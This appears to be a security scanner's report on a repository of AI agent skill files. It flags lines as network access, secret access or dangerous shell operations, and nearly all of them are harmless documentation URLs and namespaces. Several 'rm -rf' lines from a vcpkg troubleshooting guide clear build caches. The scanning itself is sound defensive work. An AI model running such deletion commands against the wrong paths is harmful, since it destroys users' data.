    | SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink
  • Network accessline 370
    | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht
  • Network accessline 371
    | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) |
  • Network accessline 387
    | SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 388
    | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail
  • Network accessline 389
    | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 614
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 615
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 616
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 617
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 618
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 619
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 620
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology |
  • Network accessline 621
    | NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping |
  • Network accessline 624
    | Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 625
    |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati
  • Network accessline 626
    | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 627
    | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] |
  • Network accessline 630
    **Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 631
    1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c
  • Network accessline 632
    2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 709
    21.  Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` →  ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential
  • Network accessline 710
    22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.
  • Network accessline 711
    23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`
  • Network accessline 732
    "branch": "main",   "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",
  • Network accessline 733
    "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",   "report_folder": "threat-model-20250815-143000",
  • Network accessline 734
    "repository": "https://github.com/org/repo",
  • Access to secretsline 948
    [Credential-related source omitted]

harness/claude-code/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md

  • Network accessline 191
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 192
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 193
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 194
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 195
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 196
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 197
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration |
  • Network accessline 256
    | **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or
  • Network accessline 257
    | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) |
  • Network accessline 258
    | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |

harness/claude-code/skills/threat-model-analyst/references/skeletons/skeleton-findings.md

  • Network accessline 23
    | SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): 
  • Network accessline 24
    | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam
  • Network accessline 25
    | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] |
  • Network accessline 84
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 85
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 86
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 128
    | SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
  • Network accessline 129
    | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] |
  • Network accessline 130
    | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |

harness/claude-code/skills/threat-model-analyst/references/tmt-element-taxonomy.md

  • Network accessline 67
    | TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 68
    |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 69
    | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS |
  • Network accessline 70
    | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints |
  • Network accessline 124
    | Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
  • Network accessline 125
    |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` |
  • Network accessline 126
    | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |

harness/claude-code/skills/threat-model-analyst/references/verification-checklist.md

  • Network accessline 29
    - [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`,
  • Network accessline 30
    - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E
  • Network accessline 31
    - [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`)
  • Network accessline 170
    - [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp
  • Network accessline 171
    - [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row
  • Network accessline 177
    - [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve
  • Network accessline 178
    - [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`

harness/claude-code/skills/tldr-prompt/SKILL.md

  • Network accessline 46
    | URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search 
  • Network accessline 47
    | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c
  • Network accessline 48
    | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and 
  • Network accessline 49
    | Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. |
  • Network accessline 50
    | Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. |
  • Network accessline 51
    | Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. |
  • Network accessline 52
    | General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. |
  • Network accessline 54
    When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/
  • Network accessline 126
    You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 127
    1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve
  • Network accessline 128
    2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 146
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 147
    - [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers)
  • Network accessline 148
    - [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview)
  • Network accessline 149
    - [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview)
  • Network accessline 150
    - [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat)
  • Network accessline 151
    - [GitHub Copilot documentation](https://docs.github.com/en/copilot/)
  • Network accessline 152
    - [Awesome Copilot](https://github.com/github/awesome-copilot)
  • Network accessline 153
    - [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename})
  • Network accessline 154
    - [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)

harness/claude-code/skills/tm7-threat-model/SKILL.md

  • Network accessline 62
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
  • Network accessline 79
    | Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 80
    |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 81
    | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` |
  • Network accessline 82
    | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes |
  • Network accessline 83
    | `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) |
  • Network accessline 84
    | `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections |
  • Network accessline 85
    | `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties |
  • Network accessline 86
    | `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values |
  • Network accessline 152
    <b:DisplayName>Name</b:DisplayName>         <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 153
    <b:Name/>         <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>       </a:anyType>
  • Network accessline 154
    <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value>
  • Network accessline 311
    8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`,    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 312
    `TypeId`, etc. must carry its own    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream
  • Network accessline 313
    `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`.
  • Network accessline 362
    - [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration.
  • Network accessline 372
    - [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model)
  • Network accessline 373
    - [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts)
  • Network accessline 374
    - [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase)
  • Network accessline 375
    - [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/)
  • Network accessline 376
    - [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays)
  • Network accessline 377
    - [XML Schema namespace](http://www.w3.org/2001/XMLSchema)
  • Network accessline 378
    - [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)

harness/claude-code/skills/tm7-threat-model/assets/example-minimal.tm7

  • Network accessline 1
    <ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa

harness/claude-code/skills/transloadit-media-processing/SKILL.md

  • Network accessline 9
    metadata:   compatibility: >-     Requires a free Transloadit account (https://transloadit.com/signup). Uses the
  • Network accessline 10
    compatibility: >-     Requires a free Transloadit account (https://transloadit.com/signup). Uses the     @transloadit/mcp-server MCP server or the @transloadit/node CLI.
  • Network accessline 11
    Requires a free Transloadit account (https://transloadit.com/signup). Uses the
  • Network accessline 62
    Get your API credentials at https://transloadit.com/c/-/api-credentials
  • Network accessline 120
    "robot": "/image/resize",       "use": "resized",       "watermark_url": "https://example.com/logo.png",
  • Network accessline 121
    "use": "resized",       "watermark_url": "https://example.com/logo.png",       "watermark_position": "bottom-right",
  • Network accessline 122
    "watermark_url": "https://example.com/logo.png",
  • Network accessline 150
    "imported": {       "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 151
    "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]     },
  • Network accessline 152
    "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 191
    - **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R
  • Network accessline 192
    - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co
  • Network accessline 193
    - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/

harness/claude-code/skills/typescript-mcp-server-generator/SKILL.md

  • Network accessline 104
    | Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca
  • Network accessline 105
    | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be
  • Network accessline 106
    | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non

harness/claude-code/skills/typespec-api-operations/SKILL.md

  • Network accessline 42
    @service @server("https://api.example.com")
  • Network accessline 43
    @server("https://api.example.com")
  • Network accessline 123
    {   "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 124
    "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 125
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 136
    ],   "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 137
    "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }   ]
  • Network accessline 138
    { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 269
    - [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 270
    - [Example API endpoint](https://api.example.com)
  • Network accessline 271
    - [Example item URL](https://example.com/items/${id})

harness/claude-code/skills/typespec-create-api-plugin/SKILL.md

  • Network accessline 90
    | Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza
  • Network accessline 91
    | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU
  • Network accessline 92
    | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token

harness/claude-code/skills/ui-screenshots/SKILL.md

  • Network accessline 48
    async def capture(url="http://localhost:3000", out="screenshot-raw.png", width=1400, height=5000):
  • Network accessline 248
    - http://localhost:3000

harness/claude-code/skills/unit-test-vue-pinia/SKILL.md

  • Network accessline 156
    Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/>
  • Network accessline 223
    - `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 224
    - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 225
    - Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>

harness/claude-code/skills/update-avm-modules-in-bicep/SKILL.md

  • Network accessline 24
    - A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta
  • Network accessline 26
    - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`.
  • Network accessline 32
    | Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/
  • Network accessline 33
    | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m
  • Network accessline 34
    | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. |
  • Network accessline 35
    | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. |
  • Network accessline 41
    1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a
  • Network accessline 42
    2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio
  • Network accessline 43
    3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`.
  • Network accessline 44
    4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree
  • Network accessline 45
    5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes.
  • Network accessline 68
    | Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep
  • Network accessline 69
    |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource
  • Network accessline 70
    | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 71
    | avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 72
    | avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 91
    - [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource})
  • Network accessline 92
    - [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)

harness/claude-code/skills/update-implementation-plan/SKILL.md

  • Network accessline 86
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)
  • Network accessline 202
    - [Shields.io status badge](https://img.shields.io/badge/status-<status>-<status_color>)

harness/claude-code/skills/update-llms/SKILL.md

  • Network accessline 5
    examples, configuration, and repository structure. Use when users ask to update llms.txt,   refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with   https://llmstxt.org/.
  • Network accessline 6
    refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with   https://llmstxt.org/. metadata:
  • Network accessline 7
    https://llmstxt.org/.
  • Network accessline 28
    - An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm
  • Network accessline 30
    - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`.
  • Network accessline 142
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 143
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/claude-code/skills/vardoger-analyze/SKILL.md

  • Network accessline 58
    If you do not have pipx, see https://pipx.pypa.io/stable/.
  • Network accessline 60
    Project page: https://github.com/dstrupl/vardoger
  • Network accessline 168
    - [pipx documentation](https://pipx.pypa.io/stable/)
  • Network accessline 169
    - [vardoger project](https://github.com/dstrupl/vardoger)

harness/claude-code/skills/vcpkg/SKILL.md

  • Network accessline 132
    ### Installing with Features (e.g., curl with SSL + HTTP2)

harness/claude-code/skills/vcpkg/references/ci.md

  • Network accessline 11
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 14
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 19
    $env:VCPKG_BINARY_SOURCES = "clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite"
  • Network accessline 22
    export VCPKG_BINARY_SOURCES="clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite"
  • Network accessline 32
    env:   VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite
  • Network accessline 33
    VCPKG_BINARY_SOURCES: clear;nuget,https://nuget.pkg.github.com/your-org/index.json,readwrite
  • Network accessline 108
    - uses: actions/checkout@v4   - name: Clone vcpkg     run: git clone https://github.com/microsoft/vcpkg
  • Network accessline 109
    - name: Clone vcpkg     run: git clone https://github.com/microsoft/vcpkg   - name: Bootstrap vcpkg (Windows)
  • Network accessline 110
    run: git clone https://github.com/microsoft/vcpkg

harness/claude-code/skills/vcpkg/references/registries.md

  • Network accessline 11
    {       "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry",
  • Network accessline 12
    "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry",       "baseline": "<commit-sha>",
  • Network accessline 13
    "repository": "https://github.com/{owner}/vcpkg-registry",
  • Network accessline 45
    {       "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry.git",
  • Network accessline 46
    "kind": "git",       "repository": "https://github.com/{owner}/vcpkg-registry.git",       "baseline": "<registry-commit-sha>",
  • Network accessline 47
    "repository": "https://github.com/{owner}/vcpkg-registry.git",

harness/claude-code/skills/vcpkg/references/troubleshooting.md

  • Dangerous shell operationline 95
    rm -rf <vcpkg-root>/buildtrees
  • Dangerous shell operationline 96
    rm -rf <vcpkg-root>/downloads
  • Dangerous shell operationline 97
    rm -rf <vcpkg-root>/installed
  • Dangerous shell operationline 98
    rm -rf <vcpkg-root>/packages
  • Dangerous shell operationline 100
    rm -rf ./vcpkg_installed

harness/claude-code/skills/web-design-reviewer/SKILL.md

  • Network accessline 35
    1. **Target website must be running**    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 36
    - Local development server (e.g., `http://localhost:3000`)
  • Network accessline 68
    > Please provide the URL of the website to review (e.g., `http://localhost:3000`)
  • Network accessline 304
    [Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill.
  • Network accessline 396
    **Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>`
  • Network accessline 397
